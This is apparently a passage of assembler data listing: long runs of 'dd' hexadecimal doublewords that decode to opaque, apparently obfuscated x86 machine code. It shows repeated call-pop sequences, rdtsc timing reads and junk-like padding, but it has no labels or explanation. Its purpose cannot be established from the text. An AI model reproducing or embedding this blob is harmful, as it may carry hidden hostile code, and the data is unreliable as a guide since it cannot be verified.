		dd 0E9506050h, 11h, 773C44E0h, 88A07890h, 0EE501536h, 0E804C546h
		dd 21B95F51h, 6161DE24h, 89243489h, 2B270DBDh, 0B0B5FF06h
		dd 6A062EB5h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0CED3C351h, 16EA5EF4h,	95FFDB94h
		dd 62B1555h, 1E758D89h,	0B58B062Bh, 62EB5A4h, 8BDBBF0Fh
		dd 2B1AD985h, 0E59D8B06h, 89062B29h, 0C486h, 0D9BD8B00h
		dd 8B062B24h, 2B0EE195h, 83FC8A06h, 8E904C2h, 1C000000h
		dd 0EAAD8F50h, 89203243h, 6A2050h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 7283D2C3h, 0CA4E858Dh
		dd 0F88B062Eh, 0B88689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0D6963EC3h, 0C6B190A6h
		dd 95894A05h, 62B00D9h,	8166006Ah, 51A0D4C3h, 1F1B529h
		dd 0FF5F062Bh, 2EB5B0B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 6D0B0541h
		dd 1CC88515h, 95FFF947h, 62B05E1h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 56C35646h, 0B69D282Ah, 79958967h
		dd 96062B2Bh, 5E9h, 2AA48100h, 9650B22Eh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 0D1C35242h, 0AC18297Eh
		dd 0B2FD1FCh, 2B0DA9BDh, 0B0B5FF06h, 6A062EB5h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 7963C355h, 2FB6D54Ah, 95FF6E56h, 62B1569h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 64C35747h, 440BB629h
		dd 0AA37B579h, 9DBD83CEh, 62B1Dh, 48840Fh, 85890000h, 62B1DC1h
		dd 8B525096h, 5A310FFAh, 0BB525058h, 2BAA6163h,	6A965Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 93D9B7C3h, 31DF09EAh, 2B15B595h, 298D8906h, 0F062B32h
		dd 0B5FFDFBFh, 62EB5B0h, 203ABF66h, 3830Fh, 8B660000h
		dd 1195FFDEh, 80062B2Eh, 0B5FF60F7h, 62EB5B0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 93C35545h, 0CE03758Ch
		dd 27B90E24h, 6860FA4h,	89000000h, 2B18B59Dh, 0D95FF06h
		dd 6A062B24h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 5593C356h, 0C1BD23B4h,	83062B19h
		dd 2B2E29BDh, 840F0206h, 48h, 2B39858Bh, 0CE9062Bh, 7D000000h
		dd 0A9DBB13Fh, 9635604Ch, 602A51D3h, 4ADFB866h,	0C661FB8Bh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0D4DC15C3h, 0BD89A370h, 62B336Dh,	92585C7h
		dd 62Bh, 8CB70000h, 17709EBFh, 0F503E97Dh, 0BF0FFFFFh
		dd 31C18BDFh, 2B0EB1BDh, 0C1858D06h, 6A062B2Fh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0FA60C357h, 8C5A9722h, 10A59D8Bh, 6650062Bh,	89D00EBBh
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0F72B8BC3h, 0D1DFEB86h, 850Fh, 6A0000h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 3AC35747h, 8601547Dh
		dd 5683D64Dh, 0BB66535Ah, 6A5BA004h, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 63B39C56h
		dd 798D89h, 858D062Bh, 6301A4Fh, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 17h, 53C35747h, 0E965A233h, 8, 72B7E69Eh
		dd 0D14C2873h, 0D699D8Bh, 0C083062Bh, 0CB816605h, 0BF50C125h
		dd 1A6038AEh, 0F240489h, 989h, 3840F00h, 0F000000h, 9FB7DABFh
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 6A74C3h, 3459BD2Bh, 95FF062Bh, 62B34E1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 14C35343h
		dd 7CDCBF66h, 0A6AA8D8Dh, 0BD31062Eh, 62B259Dh,	2FDD9D09h
		dd 0D1FF062Bh, 9E9h, 0E7E91D00h, 6016DEAAh, 0BD83F61Fh
		dd 62B0A01h, 50850F01h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 72C0C350h
		dd 2D65EC16h, 0A9B589A6h, 6A062B06h, 0C800F02h,	0F000000h
		dd 688h, 659D8900h, 50062B18h, 89D88B66h, 0FFF52404h, 2B05E195h
		dd 558D2906h, 0E9062B17h, 0E7Ah, 0E8h, 0ED815D00h, 6301A59h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 3FC35545h
		dd 0F7BEDE42h, 13E912A3h, 11000000h, 9857AF06h,	490F3CCh
		dd 0ECC100D5h, 22D51E7Eh, 63BB49D8h, 8D14A8D5h,	2E993A85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 6A2F5A20h, 97A40C7Eh, 0DA8B665Ch
		dd 1A870F50h, 0E8000000h, 12h, 0ADE6A43Dh, 2A4BA5DBh, 6CA8614Bh
		dd 0C11C42C5h, 5F52B8F0h, 2404895Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 1FC35545h, 35FF6475h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 5DC35242h
		dd 0AD327EB8h, 0B56F9C6Fh, 258964h, 8B000000h, 2B1241BDh
		dd 0D85FF06h, 9062B1Eh,	2B32798Dh, 66FF6A06h, 0B707E781h
		dd 21A5B5FFh, 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 1449D6C3h, 0FF7A839Ah, 2B11A995h
		dd 0F8E906h, 0B0F90000h, 8B70E600h, 2B1099BDh, 8071E406h
		dd 613C6FF3h, 0E0830Fh,	9D890000h, 62B28D9h, 89C8B60Fh
		dd 2B1ABD9Dh, 6BA06h, 8BF80000h, 2D9D8BC1h, 0F062B1Ch
		dd 382h, 2BCB8000h, 104E8C1h, 2B17E5BDh, 0E2F76606h, 0DDBBC82Bh
		dd 8B3B3E2Fh, 0A0E9D1h,	0DABF0000h, 8B781930h, 554C5085h
		dd 5D97BB47h, 0C08368B6h, 0AE86007h, 3D000000h,	4133086Ch
		dd 3684110Ch, 14E929h, 0BCC90000h, 6F2B375h, 0ECD6AC4Ah
		dd 0D2480425h, 0B2952189h, 8B5AC2A0h, 0C08361C3h, 0A1B53100h
		dd 3B062B1Fh, 16830FD0h, 9000000h, 2B0FA99Dh, 44E906h
		dd 4EBF0000h, 897BAEFAh, 2B218DB5h, 0FF8D8B06h,	8BFFFFFFh
		dd 2B24199Dh, 1E18306h,	24840Fh, 8B660000h, 0FFA583D9h
		dd 0FEFFFFFFh, 8159D8Bh, 9589062Bh, 47554C50h, 0C4E41CBBh
		dd 0EABF6604h, 0E9A4h, 0B58D0000h, 62F907Fh, 6AFFBF0Fh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0A9779B0Fh, 8D890FC0h, 62B203Dh,	9F78166h
		dd 4595FF4Ah, 66062B29h, 83B5CB81h, 1025B9h, 0FDB52900h
		dd 83062B15h, 8B66FCE1h, 6AFCF9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0CDC98EC3h, 0E317D880h
		dd 16FC9BBh, 5BD78159h,	2B2F4EF8h, 11E9C0h, 0F8DF0000h
		dd 0B794E22Bh, 0B7788DC0h, 7FAB7544h, 0BA475734h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0BEC35545h
		dd 6C567D1Ch, 28B11ADBh, 0DB8166CAh, 33AD1E0Dh,	3E8D1C2h
		dd 4E983D0h, 9E9F475h, 70000000h, 13E31FB3h, 87B5C906h
		dd 0BD03D88Bh, 62B1FF9h, 880Dh,	0F59D8B00h, 8B062B06h
		dd 2B0EE195h, 0C9EF8106h, 8B4ECFDBh, 2B2B11BDh,	0E18D8B06h
		dd 89062B21h, 2B1C2DB5h, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 3435C351h, 0B3EB0615h
		dd 0A9BD836Eh, 62B05h, 0AD840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0BFCA8DC3h
		dd 66718B72h, 48F0Fh, 0BF660000h, 0F98BDD19h, 0B8h, 51BD0900h
		dd 8D062B19h, 2B4EA18Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 53C03D11h, 0E1FF6E8Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 94C35040h
		dd 0BC9BC6CFh, 0FA4AFC2Fh, 20559529h, 8D0F062Bh, 1Bh, 0FE8h
		dd 4CECCF00h, 583094F5h, 0E9A2174h, 103F1697h, 349D9D03h
		dd 835F062Bh, 2B2BE5BDh, 840F0006h, 525h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 91C35747h, 5995BF66h
		dd 6DBD8960h, 66062B1Bh, 8083D981h, 0E5BD8361h,	1062B2Bh
		dd 506840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0E20997C3h, 0FA5663Ah, 0BD83D9BFh
		dd 62B2BE5h, 9F860F03h,	6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0C105C352h
		dd 0AB73E3BFh, 2EE1BD8Bh, 8166062Bh, 60A24AC7h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 10C35040h, 765AA1D2h
		dd 852972DFh, 62B3455h,	6AD98C66h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0E15EC357h
		dd 0D794C217h, 3628ADF5h, 0E180FA8Bh, 51006A04h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 897E3653h, 2B35A995h, 0FC90A06h, 17184h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0B5858B26h, 6A062B1Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 97F4C352h, 0D02C8DACh
		dd 54DE782Eh, 258D8533h, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 47D07BC3h, 66305159h
		dd 0CC25CF81h, 0F8EEBB90h, 0E85048FEh, 8, 0B73298DDh, 217B2C1Eh
		dd 8D0F5250h, 0
		dd 0BB66310Fh, 585A2143h, 6A905Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 7386CFC3h, 9589FF7Ch
		dd 62B30A5h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0E7C6F3C3h, 7B1EEC61h, 1ACDBD29h
		dd 4E8062Bh, 0FF000000h, 0F001F03h, 0C8Eh, 6E800h, 0F0DC0000h
		dd 0A0E641CDh, 0BF66505Fh, 448B2A14h, 0FE8B0424h, 0C5BF008Bh
		dd 891A858Dh, 57042444h, 799BF66h, 8D89585Fh, 62B1BC9h
		dd 1D95FFF9h, 89062B09h, 2B020D95h, 6850F06h, 89000000h
		dd 2B2C7195h, 0B0858906h, 0F062EB5h, 68Eh, 85BD8B00h, 0E9062B10h
		dd 21Dh, 0E820Fh, 89600000h, 2B1B6DB5h,	0A9B58906h, 61062B0Eh
		dd 9298589h, 858B062Bh,	62EB5A8h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 17C35747h, 0C7267866h, 1800h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 52CEC921h, 890FFB51h, 6,	25E19D8Bh, 0B58B062Bh
		dd 62EB5ACh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	69C35242h, 0E9EF4973h, 0C5858B41h, 6A062B16h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 878BC356h, 67CE04B3h, 8B0689C8h, 0B5858BDFh,	6A062B1Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0D5B6C352h, 7BA2A10Ah, 0F8044689h, 8D0F5350h
		dd 3, 5FF88B66h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 82B3C355h, 34CBA0B1h
		dd 18F59D8Bh, 0B5FF062Bh, 62EB5A8h, 1588EB81h, 7E80FF3h
		dd 0ED000000h, 10BEE167h, 9D299576h, 62B1F2Dh, 4E85Bh
		dd 3FF0000h, 5050001Fh,	11E952h, 9ECF0000h, 6C24544Ah
		dd 7292B881h, 88923EC0h, 0FAA9138h, 0EE831h, 774F0000h
		dd 4D94F02Dh, 102EF86Ch, 0BF467806h, 800Fh, 5A5B0000h
		dd 24448B58h, 6E904h, 77AC0000h, 8FFC6280h, 4489008Bh
		dd 830F0424h, 12h, 7E95250h, 89000000h,	0F224B2D1h, 310F7AA1h
		dd 6A58585Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 20E7C351h, 858DFCDFh, 62EB5B0h
		dd 2459BD8Bh, 9589062Bh, 62B2CC5h, 89FA8A50h, 0BD8B2404h
		dd 62B0501h, 91D95FFh, 6A062Bh,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0B4619FC3h, 2429BD8Bh
		dd 8B66062Bh, 6A61D8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 8AEB3C3h, 0E585C735h, 3062B2Bh
		dd 0E9000000h, 6, 0A84CD19Bh, 0BD830811h, 62EB5B0h, 3B840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0AD73C352h, 32E93306h,	0E9000000h
		dd 12h,	7793D43Dh, 55B70F91h, 1B3A2940h, 0B4270982h, 3050542Eh
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0AC5C97A4h, 860064E0h, 52006A1Eh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 0B70972A5h, 8B35D49Fh, 2B1659BDh, 0E5BD8306h, 3062B2Bh
		dd 44F850Fh, 0BD830000h, 62EB5B0h, 42840F00h, 0F000004h
		dd 88h,	0B0B5FF00h, 6A062EB5h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0D5BAC350h,	0E7EB0E66h
		dd 0FFC3C380h, 2B017595h, 0E4BF6606h, 0A4B58B60h, 6A062EB5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 2E68C350h, 0D4596000h, 9F2B25Fh, 2B26FD85h
		dd 8D950106h, 0C7062B0Fh, 1000106h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0DE9A9108h
		dd 0B248E4C6h, 58B0FB5h, 66000000h, 643EF781h, 0F98B5096h
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 2820FA6h, 50000000h, 0B0B5FF5Fh,	6A062EB5h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FFE5C356h, 2B155595h, 81FD8A06h,	4866F3h
		dd 0A4B58B3Ch, 6A062EB5h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0B909C351h,	0F0771C18h
		dd 0D381665Eh, 858B2099h, 62B1AD9h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0F2C35646h,	89A344E5h, 95295A90h
		dd 62B26B1h, 0C48689h, 8C0F0000h, 6, 24759D2Bh,	958B062Bh
		dd 62B0EE1h, 2CD78166h,	4C28321h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 4BC35141h, 119DB589h, 5089062Bh
		dd 56006A20h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 8543B374h, 8BF58BD6h, 2B2459BDh,	59D8B06h
		dd 0F062B06h, 81h, 4E858D00h, 6A062ECAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0B0D1C355h
		dd 8B601481h, 2B3029B5h, 9D896106h, 62B0529h, 0B88689h
		dd 0BD8B0000h, 62B2409h, 9D8B006Ah, 62B020Dh, 0B5B0B5FFh
		dd 0B529062Eh, 62B1119h, 5E195FFh, 8166062Bh, 966E04EBh
		dd 3696BF66h, 7E950h, 0F71D0000h, 8513B8B8h, 0BB669666h
		dd 0B5FF749Ch, 62EB5B0h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 0EBC35040h, 1ADC3315h, 29799531h, 0DC8A062Bh
		dd 156995FFh, 6A062Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 25FC00C3h, 29F19529h, 0B70F062Bh
		dd 199D8BDFh, 83062B21h, 2B1D9DBDh, 840F0006h, 85h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0AC35545h, 2CFD9D33h
		dd 0E850062Bh, 0Ah, 0F0A41743h,	8BB5A585h, 8E84B02h, 41000000h
		dd 59BC8DBCh, 0E87174A8h, 12h, 0B2BF0AB3h, 7968C512h, 88EA5051h
		dd 997960E0h, 5B5B02A4h, 2434895Bh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0AEC35141h,	0AA4D12CAh, 8B40300Ch
		dd 2B25999Dh, 0B0B5FF06h, 6A062EB5h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 89AEC356h
		dd 2B09199Dh, 22F78006h, 2E1195FFh, 6A062Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 9874E1C3h
		dd 0D761843h, 0B0B5FFADh, 0BB062EB5h, 2EBA127Ah, 2F71BD8Bh
		dd 95FF062Bh, 62B240Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 64C35242h, 40FD0478h,	2E29BD83h, 0F02062Bh
		dd 3184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0F5ED6889h, 2A4533BFh, 39858B21h
		dd 8B062B2Bh, 0C6DAh, 85C7F88Bh, 62B0925h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 9C35141h
		dd 13E976h, 0EDC90000h,	88A98F8Ch, 899C3179h, 6252799Bh
		dd 8728E4A6h, 0F2B7E906h, 0AE9FFFFh, 6F000000h,	61612294h
		dd 12D040E6h, 6AC18B2Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 49EEC357h, 24759D8Bh
		dd 858D062Bh, 62B2FC1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0ECC35141h, 0E48F91F7h, 50FAB70Fh, 0F240489h
		dd 6AFBBFh, 19C19D8Bh, 6A062Bh,	29DBD8Bh, 858D062Bh, 6302AE4h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0ECC35242h
		dd 7EE780ACh, 6A05C083h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0C30DC351h,	9D85292Ch
		dd 1062B07h, 2B1FB99Dh,	8B669006h, 0E4BF50FAh, 90657038h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 72C35747h
		dd 0EF43FD19h, 89838803h, 2B2F9995h, 8DBD8B06h,	8B062B35h
		dd 6A006AFAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0FAB3C355h, 0E43609B3h, 0DA99D8Bh
		dd 6A062Bh, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 18h,	14C35343h, 619B11ADh, 27058D89h, 0BD8B062Bh, 62B1E25h
		dd 34E195FFh, 89F5062Bh, 2B272985h, 0AA8D8D06h,	8B062EA6h
		dd 2B1F7D9Dh, 39BD0B06h, 0FF062B26h, 0DB8166D1h, 66602EA3h
		dd 61FCE8BFh, 0A01BD83h, 0F01062Bh, 0B785h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 562944BBh, 0F5A63570h, 0BD8B50B6h, 62B1635h,	6A026A5Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 988FC357h, 0D3427254h, 4A8AC75Dh,	109D9D8Bh
		dd 0B390062Bh, 52505056h, 5060310Fh, 585A615Fh,	53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 683D291Dh, 0BBEAFB41h, 31DD2266h, 5E195FFh, 6A062Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 66F787C3h, 0DEF3E381h, 0F7FE9h, 0E800h, 815D0000h, 302AEEEDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 29E69355h, 2B1F718Dh, 56BB6606h,	3A858D66h
		dd 89062E99h, 2B2FC59Dh, 66509006h, 6A90D98Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 211EC357h, 70E46E1Ch, 0F8B70F13h, 35FF64h, 0E9000000h
		dd 14h,	0B50CA582h, 5F8F12ECh, 59E83CC7h, 3BEBC2CCh, 0B598A60Eh
		dd 258964h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0BCC4C353h,	630E6EA6h
		dd 0C5BD8B42h, 0FF062B11h, 2B1E0D85h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 3D0918FCh, 114B7A08h, 0BF665EC9h, 8B565F43h,	2B2D79BDh
		dd 0FF6A5B06h, 8E956h, 59F30000h, 8BAAE75h, 895B3C81h
		dd 2B086DBDh, 15B5FF06h, 6A062B1Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 657C356h
		dd 0FF808A05h, 33DF8B66h, 2B17699Dh, 0A995FF06h, 0E9062B11h
		dd 136h, 0E800Fh, 2B600000h, 2B2C25BDh,	0DB50906h, 61062B08h
		dd 0E6FC00B0h, 0F3816670h, 71E44CF5h, 13E9h, 78D6E000h
		dd 267A0536h, 130FCD1Eh, 1C211EB2h, 1370E46Eh, 830F613Ch
		dd 0F6h, 0B60FD98Bh, 58589C8h, 0BA062B1Eh, 6, 0E5F38160h
		dd 8B4807FBh, 2B121185h, 0C18B6106h, 1AA19D8Bh,	0E8C1062Bh
		dd 0EE804h, 8BE0000h, 8B5B1AA5h, 0B872BA38h, 42B1546Dh
		dd 8C9BD8Bh, 895B062Bh,	2B0EFD85h, 0E2F76606h, 0BC99501h
		dd 2B7062Bh, 8E0FC82Bh,	6, 213DBD8Bh, 0D18B062Bh, 0E9FB8B66h
		dd 8Ah,	858BD7B7h, 44004E49h, 6E8h, 0C2433A00h,	6649B908h
		dd 5FF3A9BFh, 0E907C083h, 0Ch, 0D9E0171Fh, 0F1DAD586h
		dd 9313DEF1h, 8B00C083h, 199D23FEh, 3B062B1Eh, 0A830FD0h
		dd 0F000000h, 43E9FAB7h, 8B000000h, 0FF8D8BDFh,	1FFFFFFh
		dd 2B04F985h, 59D0906h,	83062B27h, 840F01E1h, 26h, 3880Fh
		dd 8B660000h, 0FFA583FEh, 0FEFFFFFFh, 0FF82F781h, 9589040Bh
		dd 44004E49h, 0B7FAB70Fh, 0E9FFh, 0B58D0000h, 62FA0A4h
		dd 0FB1BD0Bh, 6A062Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0FEC35141h, 9C22F12Dh, 61BF66D0h, 4595FF0Fh
		dd 6A062B29h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 4337C350h, 0A6138369h,	68D0F4Bh
		dd 23000000h, 2B21319Dh, 0FABB906h, 8D010000h, 62B0159h
		dd 58C0Fh, 0F8BF0000h, 8327BFECh, 6AFCE1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0FCC986C3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 52C35242h
		dd 7269A05Fh, 0C02B7E05h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0F2C35747h, 11C5D593h, 66F5DDE3h, 0FB5DD381h
		dd 0BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 65DAE12Bh, 33ADBBCBh, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0BB8AE2C3h, 66406D2Dh, 12E8A0B3h,	33000000h
		dd 0BB1FFB34h, 20EC0373h, 4D9DA96Ah, 3A0D05DBh,	0D18A6087h
		dd 6E8h, 0CDE8F000h, 5A855EA9h,	880D5B61h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 89C8C353h, 61E515Fh,	0D38166EEh, 958B5AF4h, 62B0EE1h
		dd 5E9h, 9FB02F00h, 8D8B6017h, 62B21E1h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 16h, 89C35646h, 0DCBB9C1Dh
		dd 501D2A2Eh, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0CAB74ED5h, 0D5639771h, 0D59D8B95h, 6A062B0Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 916EC350h, 0B745AD00h, 1581BD09h,	0BD83062Bh
		dd 62B05A9h, 0C0840F00h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 527DC357h
		dd 8B6660BEh, 0F98A60F3h, 1BD1B523h, 6161062Bh,	0B8h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0B6452290h, 7E8B2DFh, 0BF000000h, 4FBCBB4Ah,	958935C0h
		dd 62B1105h, 0D781665Fh, 8D8DA9E0h, 62B4EA1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A5C35040h, 78C25358h
		dd 9589DFC2h, 62B09A5h,	6AE1FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0C014C3h, 0D98529C2h
		dd 83062B15h
		dd 2B2BE5BDh, 840F0006h, 55Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 3AC35646h, 0F58FA84Ah, 0BF600655h
		dd 0A0853FFh, 0F83FB966h, 0E5BD8361h, 1062B2Bh,	540840Fh
		dd 9D8B0000h, 62B2919h,	2BE5BD83h, 0F03062Bh, 4F786h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 27777966h, 5B589D82h, 6A6071h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0E43F8AC3h, 9705A73h
		dd 8E0FFB8Bh, 1, 0D98C66F9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 7CC35646h, 0CEA1FEBBh, 5D8F80FAh
		dd 0F8BF0F6Bh, 8904E180h, 2B029185h, 0FC90A06h,	16184h
